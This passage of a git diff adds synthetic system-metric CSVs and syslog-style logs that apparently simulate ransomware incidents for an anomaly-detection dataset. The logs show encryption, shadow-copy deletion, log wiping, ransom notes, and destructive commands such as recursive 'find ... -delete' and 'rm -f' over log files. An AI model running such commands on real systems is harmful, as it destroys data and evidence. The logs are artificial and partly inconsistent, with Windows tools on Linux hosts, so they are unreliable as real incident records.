+2025-07-15T14:36:55Z,60.02,84.21,410.21,0.11,0.28 +2025-07-15T14:37:00Z,51.87,79.55,299.85,0.13,0.23 +2025-07-15T14:37:05Z,45.64,77.34,201.99,0.17,0.3 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_23.log b/mali_dataset/scenario_3/mali_3_23.log new file mode 100644 index 0000000000000000000000000000000000000000..eb3b13defc2c1b0422f22c168c480efa3b2942c7 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_23.log @@ -0,0 +1,21 @@ +Jul 15 14:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 14:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 14:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 14:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 14:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 14:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 14:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 14:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 14:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 14:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 14:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 14:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 14:34:35 webapp[1234]: ERROR: Connection to session cache failed: /var/run/redis/redis.sock +Jul 15 14:35:00 systemd[1]: Created file /home/admin/READ_ME_FOR_DECRYPTION.txt. +Jul 15 14:35:30 systemd[1]: mysqld.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:36:00 webapp[1234]: CRITICAL: Database connection failed. Service unavailable. +Jul 15 14:36:15 systemd[1]: Failed to start MariaDB 10.5.15 database server. +Jul 15 14:36:45 kernel: [1455.134] Out of memory: Kill process 1234 (webapp) score 901 or sacrifice child +Jul 15 14:37:05 systemd[1]: session-5.scope: A process of this unit has been killed by the OOM killer. +Jul 15 14:37:15 touch[9980]: /var/www/html/index.html.ENCRYPTED \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_24.csv b/mali_dataset/scenario_3/mali_3_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..87b86b560e5a6d3966d7e0f7b055a9f3f45b5850 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_24.csv @@ -0,0 +1,90 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-29T15:00:00Z,15.21,45.33,42.11,0.55,1.21" +"2025-08-29T15:00:05Z,12.98,42.1,25.33,0.68,1.45" +"2025-08-29T15:00:10Z,18.34,48.92,55.91,0.41,0.98" +"2025-08-29T15:00:15Z,16.55,44.23,38.72,0.82,1.12" +"2025-08-29T15:00:20Z,14.88,41.99,22.45,0.76,1.33" +"2025-08-29T15:00:25Z,20.11,50.15,62.34,0.39,0.87" +"2025-08-29T15:00:30Z,17.92,46.77,45.88,0.71,1.24" +"2025-08-29T15:00:35Z,13.45,39.81,18.99,0.88,1.51" +"2025-08-29T15:00:40Z,19.23,49.03,59.12,0.45,0.91" +"2025-08-29T15:00:45Z,15.76,43.87,35.67,0.79,1.18" +"2025-08-29T15:00:50Z,12.11,38.12,15.76,0.92,1.62" +"2025-08-29T15:00:55Z,21.04,52.33,65.43,0.35,0.81" +"2025-08-29T15:01:00Z,18.23,47.88,48.91,0.69,1.29" +"2025-08-29T15:01:05Z,14.56,40.23,20.14,0.85,1.48" +"2025-08-29T15:01:10Z,19.99,51.21,61.22,0.42,0.89" +"2025-08-29T15:01:15Z,16.89,45.19,41.54,0.75,1.15" +"2025-08-29T15:01:20Z,13.91,39.01,17.82,0.9,1.58" +"2025-08-29T15:01:25Z,20.57,53.11,68.19,0.37,0.84" +"2025-08-29T15:01:30Z,18.01,48.33,51.22,0.65,1.05" +"2025-08-29T15:01:35Z,22.15,55.23,71.05,0.33,0.79" +"2025-08-29T15:01:40Z,17.55,46.12,45.88,0.72,1.22" +"2025-08-29T15:01:45Z,19.83,50.78,60.34,0.48,0.95" +"2025-08-29T15:01:50Z,15.99,42.87,30.11,0.81,1.38" +"2025-08-29T15:01:55Z,21.43,54.01,69.54,0.36,0.82" +"2025-08-29T15:02:00Z,18.98,49.99,55.65,0.68,1.11" +"2025-08-29T15:02:05Z,14.02,40.01,22.33,0.89,1.55" +"2025-08-29T15:02:10Z,20.01,51.88,63.43,0.41,0.88" +"2025-08-29T15:02:15Z,16.76,44.98,40.21,0.77,1.19" +"2025-08-29T15:02:20Z,19.54,50.12,58.76,0.51,0.99" +"2025-08-29T15:02:25Z,22.01,56.12,72.13,0.31,0.75" +"2025-08-29T15:02:30Z,99.85,98.21,3451.12,0.11,0.15" +"2025-08-29T15:02:35Z,99.91,99.13,3812.45,0.09,0.12" +"2025-08-29T15:02:40Z,99.82,97.98,3623.51,0.13,0.18" +"2025-08-29T15:02:45Z,99.89,98.88,3754.98,0.1,0.14" +"2025-08-29T15:02:50Z,99.79,97.54,3518.32,0.15,0.2" +"2025-08-29T15:02:55Z,99.95,99.51,3921.87,0.08,0.11" +"2025-08-29T15:03:00Z,99.84,98.32,3711.23,0.12,0.16" +"2025-08-29T15:03:05Z,99.9,99.01,3853.65,0.09,0.13" +"2025-08-29T15:03:10Z,99.81,97.87,3599.91,0.14,0.19" +"2025-08-29T15:03:15Z,99.92,99.24,3889.11,0.08,0.12" +"2025-08-29T15:03:20Z,99.86,98.51,3743.87,0.11,0.17" +"2025-08-29T15:03:25Z,99.88,98.76,3798.23,0.1,0.15" +"2025-08-29T15:03:30Z,99.83,98.12,3688.45,0.13,0.18" +"2025-08-29T15:03:35Z,99.93,99.33,3901.54,0.09,0.13" +"2025-08-29T15:03:40Z,99.8,97.78,3554.88,0.15,0.21" +"2025-08-29T15:03:45Z,99.94,99.45,3943.76,0.08,0.11" +"2025-08-29T15:03:50Z,99.85,98.43,3722.19,0.12,0.16" +"2025-08-29T15:03:55Z,99.87,98.67,3781.91,0.1,0.14" +"2025-08-29T15:04:00Z,99.82,98.01,3654.12,0.14,0.19" +"2025-08-29T15:04:05Z,99.91,99.18,3865.34,0.09,0.13" +"2025-08-29T15:04:10Z,99.84,98.25,3701.88,0.11,0.17" +"2025-08-29T15:04:15Z,99.89,98.92,3811.43,0.1,0.15" +"2025-08-29T15:04:20Z,99.78,97.65,3543.98,0.15,0.2" +"2025-08-29T15:04:25Z,99.96,99.59,3955.21,0.08,0.1" +"2025-08-29T15:04:30Z,99.83,98.18,3676.54,0.13,0.18" +"2025-08-29T15:04:35Z,99.9,99.07,3842.76,0.09,0.12" +"2025-08-29T15:04:40Z,99.81,97.91,3587.32,0.14,0.19" +"2025-08-29T15:04:45Z,99.92,99.29,3895.81,0.08,0.11" +"2025-08-29T15:04:50Z,99.86,98.57,3752.11,0.11,0.17" +"2025-08-29T15:04:55Z,99.87,98.81,3801.43,0.1,0.14" +"2025-08-29T15:05:00Z,99.82,98.08,3661.98,0.13,0.18" +"2025-08-29T15:05:05Z,99.91,99.15,3873.54,0.09,0.12" +"2025-08-29T15:05:10Z,99.84,98.29,3709.34,0.12,0.16" +"2025-08-29T15:05:15Z,99.89,98.98,3819.87,0.1,0.15" +"2025-08-29T15:05:20Z,99.79,97.71,3551.21,0.15,0.2" +"2025-08-29T15:05:25Z,99.95,99.55,3949.13,0.08,0.11" +"2025-08-29T15:05:30Z,99.83,98.22,3681.45,0.13,0.18" +"2025-08-29T15:05:35Z,99.9,99.11,3849.65,0.09,0.12" +"2025-08-29T15:05:40Z,99.81,97.95,3591.87,0.14,0.19" +"2025-08-29T15:05:45Z,99.92,99.31,3899.99,0.08,0.11" +"2025-08-29T15:05:50Z,81.12,93.88,912.34,0.09,0.12" +"2025-08-29T15:05:55Z,78.34,90.12,854.98,0.11,0.15" +"2025-08-29T15:06:00Z,74.91,87.34,798.12,0.13,0.18" +"2025-08-29T15:06:05Z,71.43,84.91,743.54,0.15,0.21" +"2025-08-29T15:06:10Z,68.12,82.11,699.87,0.17,0.24" +"2025-08-29T15:06:15Z,64.98,79.89,651.23,0.19,0.27" +"2025-08-29T15:06:20Z,61.43,77.12,603.45,0.21,0.3" +"2025-08-29T15:06:25Z,58.91,74.34,565.87,0.23,0.33" +"2025-08-29T15:06:30Z,55.87,71.87,521.34,0.25,0.36" +"2025-08-29T15:06:35Z,52.12,68.91,488.98,0.27,0.39" +"2025-08-29T15:06:40Z,49.45,66.12,451.23,0.29,0.42" +"2025-08-29T15:06:45Z,46.11,63.34,411.87,0.31,0.45" +"2025-08-29T15:06:50Z,44.23,60.91,388.54,0.33,0.48" +"2025-08-29T15:06:55Z,41.98,57.12,354.32,0.35,0.51" +"2025-08-29T15:07:00Z,39.12,54.34,321.98,0.37,0.54" +"2025-08-29T15:07:05Z,37.87,51.87,299.12,0.39,0.57" +"2025-08-29T15:07:10Z,35.34,48.12,276.45,0.41,0.6" +"2025-08-29T15:07:15Z,33.89,45.34,254.87,0.43,0.63" +"2025-08-29T15:07:20Z,31.12,42.87,232.98,0.45,0.66" diff --git a/mali_dataset/scenario_3/mali_3_24.log b/mali_dataset/scenario_3/mali_3_24.log new file mode 100644 index 0000000000000000000000000000000000000000..3071b6c577bdcd1d148b0e33b9cb083e86f17b94 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_24.log @@ -0,0 +1,23 @@ +Aug 29 15:00:02 sshd[12345]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.123.123.123 user=root +Aug 29 15:00:15 CRON[12350]: (www-data) CMD (php /var/www/html/cron.php) +Aug 29 15:00:33 sshd[12401]: Accepted publickey for ubuntu from 192.168.1.100 port 22 ssh2: RSA SHA256:XXXXXXXXXXXXXXXXXXXXXXXXXXX +Aug 29 15:00:45 systemd[1]: Starting Daily apt download activities... +Aug 29 15:01:05 nginx[2345]: 192.168.1.200 - - [29/Aug/2025:15:01:05 +0000] "GET /api/v1/users HTTP/1.1" 200 1234 "-" "curl/7.68.0" +Aug 29 15:01:18 sudo[12500]: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/bash +Aug 29 15:01:40 systemd[1]: Started session-c5.scope - Session c5 of User www-data. +Aug 29 15:02:02 nginx[2345]: 192.168.1.200 - - [29/Aug/2025:15:02:02 +0000] "GET /api/v1/status HTTP/1.1" 200 56 "-" "curl/7.68.0" +Aug 29 15:02:28 sudo[12500]: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/find / -name *.bak -delete +Aug 29 15:02:30 kernel: [12345.678] malicious_payload[12555]: Disabling security features. +Aug 29 15:02:42 wevtutil[12601]: System event log cleared. +Aug 29 15:02:55 vssadmin[12610]: Successfully deleted all shadow copies with confirmation. +Aug 29 15:03:10 postgres[3456]: [3-1] ERROR: could not open file "base/16384/16385": No such file or directory +Aug 29 15:03:35 app[4567]: [EROR] Failed to read configuration file: /opt/app/config.yml.encrypted +Aug 29 15:03:50 kernel: [12400.123] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/nginx" name="/var/www/html/uploads/important.docx.locked" pid=2345 comm="nginx" +Aug 29 15:04:15 app[4567]: [EROR] File format is not valid for /data/backups/daily.sql.gz.crypt +Aug 29 15:04:40 systemd[1]: Created file /root/HOW_TO_DECRYPT_FILES.txt. +Aug 29 15:05:05 postgres[123]: [4-1] PANIC: could not access status of transaction 0 +Aug 29 15:05:30 systemd[1]: postgresql.service: Main process exited, code=exited, status=1/FAILURE +Aug 29 15:05:55 nginx[2345]: 192.168.1.201 - - [29/Aug/2025:15:05:55 +0000] "GET / HTTP/1.1" 502 150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" +Aug 29 15:06:20 kernel: [12550.456] Out of memory: Killed process 4567 (app) total-vm:1592320kB, anon-rss:834560kB, file-rss:0kB, shmem-rss:0kB, UID:1001 pgtables:2130kB oom_score_adj:0 +Aug 29 15:06:45 systemd[1]: Failed to start Application Service. +Aug 29 15:07:10 useradd[13001]: new user 'ransom' added to /etc/passwd \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_3.csv b/mali_dataset/scenario_3/mali_3_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..1a8d23b6bf511dad9ef28c6f6632a6b2ea262c22 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T16:30:00Z,13.5,51.15,11.02,0.53,1.12 +2025-07-15T16:30:05Z,10.57,38.91,40.27,0.82,0.8 +2025-07-15T16:30:10Z,20.72,47.32,27.67,0.59,0.49 +2025-07-15T16:30:15Z,15.85,39.88,31.23,0.99,1.03 +2025-07-15T16:30:20Z,11.21,41.5,23.55,1.0,1.47 +2025-07-15T16:30:25Z,15.86,45.2,24.57,1.05,1.14 +2025-07-15T16:30:30Z,16.09,40.52,39.07,0.57,1.22 +2025-07-15T16:30:35Z,16.39,41.9,32.48,0.55,1.76 +2025-07-15T16:30:40Z,13.97,42.98,34.02,1.14,1.73 +2025-07-15T16:30:45Z,10.95,38.75,47.78,0.76,0.98 +2025-07-15T16:30:50Z,13.43,34.47,26.37,0.75,1.16 +2025-07-15T16:30:55Z,21.9,36.72,37.18,0.55,1.32 +2025-07-15T16:31:00Z,12.99,37.33,26.53,0.83,1.17 +2025-07-15T16:31:05Z,17.51,40.5,23.48,0.81,0.89 +2025-07-15T16:31:10Z,10.47,42.28,29.01,0.95,1.55 +2025-07-15T16:31:15Z,12.35,37.56,24.48,0.61,1.09 +2025-07-15T16:31:20Z,18.55,42.91,42.92,1.14,0.79 +2025-07-15T16:31:25Z,14.35,40.48,16.68,1.15,0.96 +2025-07-15T16:31:30Z,12.74,32.11,36.56,1.06,1.54 +2025-07-15T16:31:35Z,16.15,37.79,24.05,1.15,1.02 +2025-07-15T16:31:40Z,9.32,44.65,29.71,0.79,1.12 +2025-07-15T16:31:45Z,17.07,42.03,29.38,0.81,1.26 +2025-07-15T16:31:50Z,18.75,43.99,32.86,0.55,0.95 +2025-07-15T16:31:55Z,22.3,40.37,40.75,0.43,1.09 +2025-07-15T16:32:00Z,18.05,38.18,16.14,1.13,1.5 +2025-07-15T16:32:05Z,17.36,35.27,20.27,0.53,1.48 +2025-07-15T16:32:10Z,17.13,32.99,28.82,0.99,1.35 +2025-07-15T16:32:15Z,14.02,41.48,30.81,0.7,1.09 +2025-07-15T16:32:20Z,13.58,40.49,36.24,0.48,1.03 +2025-07-15T16:32:25Z,17.0,36.5,33.89,0.63,1.81 +2025-07-15T16:32:30Z,97.41,93.68,2632.93,0.16,0.46 +2025-07-15T16:32:35Z,93.85,84.23,2190.08,0.2,0.48 +2025-07-15T16:32:40Z,95.42,87.11,2454.83,0.39,0.32 +2025-07-15T16:32:45Z,91.68,85.62,2730.16,0.37,0.24 +2025-07-15T16:32:50Z,93.76,84.17,2909.77,0.26,0.35 +2025-07-15T16:32:55Z,96.78,94.55,2325.03,0.26,0.59 +2025-07-15T16:33:00Z,99.57,80.55,2620.24,0.31,0.34 +2025-07-15T16:33:05Z,93.9,76.86,2381.45,0.21,0.56 +2025-07-15T16:33:10Z,95.7,72.56,2207.2,0.13,0.4 +2025-07-15T16:33:15Z,96.07,85.13,2674.34,0.46,0.33 +2025-07-15T16:33:20Z,101.4,84.09,1671.9,0.21,0.57 +2025-07-15T16:33:25Z,89.15,77.38,3192.05,0.45,0.39 +2025-07-15T16:33:30Z,97.68,89.47,2114.82,0.25,0.32 +2025-07-15T16:33:35Z,94.61,92.14,2113.97,0.31,0.55 +2025-07-15T16:33:40Z,96.35,82.3,2469.09,0.3,0.37 +2025-07-15T16:33:45Z,101.13,78.3,1965.7,0.27,0.42 +2025-07-15T16:33:50Z,94.1,70.74,2609.11,0.21,0.23 +2025-07-15T16:33:55Z,100.12,84.86,2720.7,0.29,0.54 +2025-07-15T16:34:00Z,95.41,90.67,2741.46,0.14,0.5 +2025-07-15T16:34:05Z,95.98,82.9,2448.08,0.29,0.52 +2025-07-15T16:34:10Z,95.56,84.82,2471.62,0.39,0.52 +2025-07-15T16:34:15Z,94.09,95.23,2499.4,0.16,0.22 +2025-07-15T16:34:20Z,96.01,73.71,2549.55,0.28,0.44 +2025-07-15T16:34:25Z,98.24,73.25,2947.22,0.44,0.33 +2025-07-15T16:34:30Z,93.4,78.55,1855.0,0.46,0.37 +2025-07-15T16:34:35Z,99.06,91.59,2436.66,0.48,0.3 +2025-07-15T16:34:40Z,93.29,84.83,2675.02,0.4,0.55 +2025-07-15T16:34:45Z,92.45,85.1,2374.13,0.25,0.49 +2025-07-15T16:34:50Z,92.34,85.49,2593.57,0.37,0.21 +2025-07-15T16:34:55Z,90.08,80.27,1995.28,0.27,0.51 +2025-07-15T16:35:00Z,97.68,75.87,2587.7,0.38,0.39 +2025-07-15T16:35:05Z,93.36,80.56,2580.84,0.44,0.44 +2025-07-15T16:35:10Z,94.6,81.81,2564.64,0.18,0.54 +2025-07-15T16:35:15Z,99.32,90.35,3088.46,0.14,0.26 +2025-07-15T16:35:20Z,93.35,89.34,2693.75,0.4,0.55 +2025-07-15T16:35:25Z,87.18,82.11,2568.75,0.39,0.5 +2025-07-15T16:35:30Z,97.55,79.24,2387.81,0.22,0.5 +2025-07-15T16:35:35Z,94.13,79.39,2594.91,0.13,0.49 +2025-07-15T16:35:40Z,93.04,86.47,2349.51,0.35,0.36 +2025-07-15T16:35:45Z,95.19,85.9,2517.1,0.11,0.35 +2025-07-15T16:35:50Z,101.61,84.47,2466.09,0.46,0.47 +2025-07-15T16:35:55Z,98.38,88.34,2399.22,0.38,0.44 +2025-07-15T16:36:00Z,95.74,79.91,2399.0,0.14,0.43 +2025-07-15T16:36:05Z,92.32,72.78,2116.15,0.15,0.35 +2025-07-15T16:36:10Z,93.78,82.55,2293.03,0.43,0.56 +2025-07-15T16:36:15Z,11.01,32.88,22.35,0.83,1.22 +2025-07-15T16:36:20Z,20.23,42.95,25.8,0.94,1.3 +2025-07-15T16:36:25Z,16.58,42.7,29.19,0.82,0.53 +2025-07-15T16:36:30Z,15.5,42.58,41.88,0.34,1.27 +2025-07-15T16:36:35Z,7.42,34.98,31.61,0.89,1.47 +2025-07-15T16:36:40Z,11.8,34.11,35.38,0.94,1.4 +2025-07-15T16:36:45Z,12.39,31.68,38.58,0.48,1.36 +2025-07-15T16:36:50Z,12.5,38.05,50.86,0.8,0.84 +2025-07-15T16:36:55Z,19.54,35.08,25.59,1.13,1.04 +2025-07-15T16:37:00Z,15.32,37.05,43.24,0.76,1.34 +2025-07-15T16:37:05Z,16.77,45.78,47.03,0.94,1.1 +2025-07-15T16:37:10Z,18.9,39.7,33.92,0.83,1.03 +2025-07-15T16:37:15Z,18.08,40.64,39.77,0.64,0.88 +2025-07-15T16:37:20Z,14.59,40.81,20.33,1.06,0.97 +2025-07-15T16:37:25Z,18.56,40.46,41.14,0.44,1.47 diff --git a/mali_dataset/scenario_3/mali_3_3.log b/mali_dataset/scenario_3/mali_3_3.log new file mode 100644 index 0000000000000000000000000000000000000000..d2e22b20b31aebd66a5b5583392af71387399338 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_3.log @@ -0,0 +1,19 @@ +Jul 15 16:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 16:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 16:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 16:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 16:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 16:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 16:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 16:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 16:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 16:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 16:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 16:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 16:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 16:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 16:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 16:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 16:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 16:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 16:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_4.csv b/mali_dataset/scenario_3/mali_3_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..4ccffdd39416714fad4279133c3fbeb5f2ade2b9 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T17:30:00Z,14.96,42.13,33.33,0.81,0.84 +2025-07-15T17:30:05Z,10.96,43.13,27.99,0.91,1.25 +2025-07-15T17:30:10Z,15.99,39.78,30.41,0.67,1.25 +2025-07-15T17:30:15Z,15.31,34.93,34.68,1.14,1.1 +2025-07-15T17:30:20Z,14.62,41.18,32.71,0.81,1.58 +2025-07-15T17:30:25Z,12.38,40.01,28.49,0.86,0.72 +2025-07-15T17:30:30Z,14.77,43.56,31.89,0.59,1.39 +2025-07-15T17:30:35Z,14.18,46.12,35.21,0.63,0.95 +2025-07-15T17:30:40Z,15.18,33.96,16.04,0.66,1.09 +2025-07-15T17:30:45Z,18.86,38.71,42.01,0.64,0.98 +2025-07-15T17:30:50Z,12.72,39.52,30.02,1.08,1.42 +2025-07-15T17:30:55Z,10.63,40.84,25.52,0.84,1.09 +2025-07-15T17:31:00Z,14.87,36.98,30.1,0.89,1.24 +2025-07-15T17:31:05Z,17.52,26.95,40.97,1.1,1.25 +2025-07-15T17:31:10Z,18.32,49.03,20.85,1.24,0.81 +2025-07-15T17:31:15Z,11.58,47.45,23.72,0.26,0.37 +2025-07-15T17:31:20Z,10.73,45.67,27.94,0.83,1.52 +2025-07-15T17:31:25Z,15.75,35.87,41.51,0.69,0.88 +2025-07-15T17:31:30Z,14.44,43.42,30.33,0.53,1.3 +2025-07-15T17:31:35Z,13.18,36.96,28.6,0.54,1.35 +2025-07-15T17:31:40Z,19.6,32.23,36.68,0.78,0.82 +2025-07-15T17:31:45Z,17.87,43.61,41.15,0.79,1.51 +2025-07-15T17:31:50Z,16.68,37.14,27.09,0.54,1.04 +2025-07-15T17:31:55Z,15.33,47.79,24.33,0.66,1.04 +2025-07-15T17:32:00Z,17.83,49.79,30.83,0.67,1.3 +2025-07-15T17:32:05Z,6.91,39.76,33.28,0.95,1.33 +2025-07-15T17:32:10Z,18.77,46.77,28.47,0.81,1.93 +2025-07-15T17:32:15Z,10.46,37.21,20.72,0.8,0.59 +2025-07-15T17:32:20Z,14.74,41.18,27.03,0.43,0.93 +2025-07-15T17:32:25Z,17.9,45.5,33.01,0.89,1.53 +2025-07-15T17:32:30Z,97.28,77.22,1915.69,0.39,0.41 +2025-07-15T17:32:35Z,94.56,84.62,2628.44,0.18,0.37 +2025-07-15T17:32:40Z,94.2,92.08,2019.63,0.34,0.25 +2025-07-15T17:32:45Z,95.41,85.85,2551.43,0.44,0.29 +2025-07-15T17:32:50Z,96.59,88.8,2453.73,0.45,0.33 +2025-07-15T17:32:55Z,93.46,93.56,2881.54,0.34,0.29 +2025-07-15T17:33:00Z,93.12,80.61,2814.56,0.47,0.38 +2025-07-15T17:33:05Z,94.52,82.19,2520.76,0.3,0.55 +2025-07-15T17:33:10Z,89.98,93.98,3067.28,0.38,0.25 +2025-07-15T17:33:15Z,91.65,85.14,2300.31,0.27,0.3 +2025-07-15T17:33:20Z,99.61,83.46,2553.94,0.4,0.35 +2025-07-15T17:33:25Z,92.7,82.05,2342.48,0.21,0.38 +2025-07-15T17:33:30Z,93.92,86.77,2242.03,0.21,0.45 +2025-07-15T17:33:35Z,95.92,87.46,2458.91,0.22,0.44 +2025-07-15T17:33:40Z,93.49,94.38,2672.97,0.43,0.44 +2025-07-15T17:33:45Z,84.33,80.33,2584.39,0.14,0.4 +2025-07-15T17:33:50Z,96.07,92.65,2628.44,0.4,0.52 +2025-07-15T17:33:55Z,94.61,76.88,2757.94,0.17,0.49 +2025-07-15T17:34:00Z,94.14,83.8,3209.51,0.41,0.49 +2025-07-15T17:34:05Z,91.31,84.66,2515.24,0.43,0.39 +2025-07-15T17:34:10Z,95.91,79.79,2652.36,0.33,0.29 +2025-07-15T17:34:15Z,100.25,83.63,2622.44,0.39,0.51 +2025-07-15T17:34:20Z,92.92,88.8,2633.27,0.34,0.32 +2025-07-15T17:34:25Z,93.36,82.78,2351.52,0.33,0.46 +2025-07-15T17:34:30Z,101.78,76.04,2454.18,0.28,0.48 +2025-07-15T17:34:35Z,97.81,79.28,2252.05,0.39,0.28 +2025-07-15T17:34:40Z,97.54,90.18,3070.32,0.26,0.57 +2025-07-15T17:34:45Z,93.42,73.67,2296.12,0.45,0.51 +2025-07-15T17:34:50Z,97.03,85.6,2070.33,0.31,0.54 +2025-07-15T17:34:55Z,89.76,89.0,2294.23,0.37,0.59 +2025-07-15T17:35:00Z,96.63,86.23,2434.31,0.12,0.45 +2025-07-15T17:35:05Z,95.42,86.78,2772.28,0.28,0.34 +2025-07-15T17:35:10Z,95.77,67.82,2228.89,0.38,0.37 +2025-07-15T17:35:15Z,96.18,85.98,2123.34,0.18,0.48 +2025-07-15T17:35:20Z,95.94,90.23,2363.23,0.39,0.55 +2025-07-15T17:35:25Z,93.95,82.8,2197.56,0.31,0.21 +2025-07-15T17:35:30Z,93.99,81.48,2911.25,0.3,0.58 +2025-07-15T17:35:35Z,99.03,86.03,2568.67,0.33,0.46 +2025-07-15T17:35:40Z,93.81,89.77,2261.48,0.48,0.41 +2025-07-15T17:35:45Z,94.46,83.41,1879.22,0.43,0.28 +2025-07-15T17:35:50Z,95.77,85.7,2924.19,0.26,0.31 +2025-07-15T17:35:55Z,99.23,87.48,2497.11,0.3,0.54 +2025-07-15T17:36:00Z,97.9,78.95,3112.64,0.27,0.23 +2025-07-15T17:36:05Z,98.94,84.89,2199.7,0.42,0.29 +2025-07-15T17:36:10Z,98.58,83.66,2657.81,0.29,0.38 +2025-07-15T17:36:15Z,19.69,33.05,21.81,0.93,1.0 +2025-07-15T17:36:20Z,16.18,38.58,21.92,1.04,1.47 +2025-07-15T17:36:25Z,15.47,41.78,43.22,0.86,0.82 +2025-07-15T17:36:30Z,14.02,34.11,45.14,0.88,1.32 +2025-07-15T17:36:35Z,14.86,44.35,35.47,1.1,1.23 +2025-07-15T17:36:40Z,14.56,29.6,22.71,0.9,1.48 +2025-07-15T17:36:45Z,10.56,37.52,43.42,0.63,0.73 +2025-07-15T17:36:50Z,13.7,36.2,39.26,0.79,1.51 +2025-07-15T17:36:55Z,20.68,37.72,32.58,0.98,1.42 +2025-07-15T17:37:00Z,17.61,41.61,33.15,0.96,1.47 +2025-07-15T17:37:05Z,13.28,37.94,34.97,0.85,1.62 +2025-07-15T17:37:10Z,13.79,38.66,26.55,0.86,0.79 +2025-07-15T17:37:15Z,12.41,41.68,31.99,0.5,1.28 +2025-07-15T17:37:20Z,17.86,42.06,7.62,0.83,1.16 +2025-07-15T17:37:25Z,13.92,34.24,19.29,0.47,1.3 diff --git a/mali_dataset/scenario_3/mali_3_4.log b/mali_dataset/scenario_3/mali_3_4.log new file mode 100644 index 0000000000000000000000000000000000000000..66bb050d15b63f8ea043dc74afe9c07db8bd908a --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_4.log @@ -0,0 +1,19 @@ +Jul 15 17:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 17:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 17:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 17:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 17:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 17:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 17:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 17:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 17:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 17:33:10 webapp[1234]: ERROR: Failed to open file 